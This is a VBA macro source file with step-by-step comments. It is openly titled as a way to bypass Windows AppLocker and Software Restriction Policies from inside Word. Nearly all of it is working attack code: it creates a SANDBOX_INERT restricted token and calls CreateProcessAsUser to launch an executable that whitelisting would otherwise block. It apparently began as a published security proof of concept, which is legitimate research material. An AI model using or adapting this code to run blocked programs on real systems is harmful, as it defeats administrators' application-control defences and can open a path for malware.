' Bypass AppLocker restrictions
' Type the full path to an executable in a Word document and select it, run the runexe() script
' Written by Richard van den Berg <richard@mountknowledge.nl> on 2011/01/28
' See http://www.mountknowledge.nl/2011/01/28/bypassing-windows-applocker-using-VB-script-in-word-and-excel
' Inspired by http://blog.didierstevens.com/2011/01/25/circumventing-srp-and-applocker-to-create-a-new-process-by-design/
'
'To test this code:
'
' 1. In an MS Word document, type in the path to an executable that is not allowed by SRP/AppLocker. For example: C:\test.exe
' 2. Select the text you just typed, in this example select “C:\test.exe” without the newline
' 3. Press Alt+F11 (brings up VBA editor)
' 4. Right mouse button on “Normal” -> Insert -> Module
' 5. Paste the content of runexe.txt into the new module
' 6. Place the cursor inside the Sub RunExe()
' 7. Press F5 (runs macro)

Option Explicit

Private Type STARTUPINFO
    cb As Long
    lpReserved As Long
    lpDesktop As Long
    lpTitle As Long
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long

Private Declare Function CreateProcessAsUser Lib "advapi32.dll" _
    Alias "CreateProcessAsUserA" _
    (ByVal hToken As Long, _
    ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    ByVal lpProcessAttributes As Long, _
    ByVal lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    ByVal lpEnvironment As Long, _
    ByVal lpCurrentDirectory As String, _
    lpStartupInfo As STARTUPINFO, _
    lpProcessInformation As PROCESS_INFORMATION) As Long
    
Private Declare Function CreateRestrictedToken Lib "advapi32.dll" _
    (ByVal ExistingTokenHandle As Long, _
    ByVal Flags As Long, _
    ByVal DisableSidCount As Long, _
    ByVal SidsToDisable As Long, _
    ByVal DeletePrivilegeCount As Long, _
    ByVal PrivilegesToDelete As Long, _
    ByVal RestrictedSidCount As Long, _
    ByVal SidsToRestrict As Long, _
    NewTokenHandle As Long) As Long
 
Sub RunExe()
    Dim hToken As Long
    Dim hNewToken As Long
    Dim Error As Long
    Dim si As STARTUPINFO
    Dim pi As PROCESS_INFORMATION
    Dim TOKEN_ALL_ACCESS As Long
    Dim SANDBOX_INERT As Long
    TOKEN_ALL_ACCESS = &HF01FF
    SANDBOX_INERT = 2
    
    If OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, hToken) = 0 Then
        MsgBox "OpenProcessToken failed: " & Err.LastDllError
        Return
    End If
    If CreateRestrictedToken(hToken, SANDBOX_INERT, 0, 0&, 0, 0&, 0, 0&, hNewToken) = 0 Then
        MsgBox "CreateRestrictedToken failed: " & Err.LastDllError
    Else
        si.cb = Len(si)
        If CreateProcessAsUser(hNewToken, Selection.Text, 0&, 0&, 0&, True, 0, 0&, "C:\", si, pi) = 0 Then
            Error = Err.LastDllError
            If Error = 2 Then
                MsgBox "File not found: " & Selection.Text
            ElseIf Error = 3 Then
                MsgBox "Path not found: " & Selection.Text
            ElseIf Error = 5 Then
                MsgBox "Access denied: " & Selection.Text
            ElseIf Error = 123 Then
                MsgBox "Invalid syntax: " & Selection.Text
            Else
                MsgBox "CreateProcessAsUser failed: " & Error
            End If
        End If
    End If
End Sub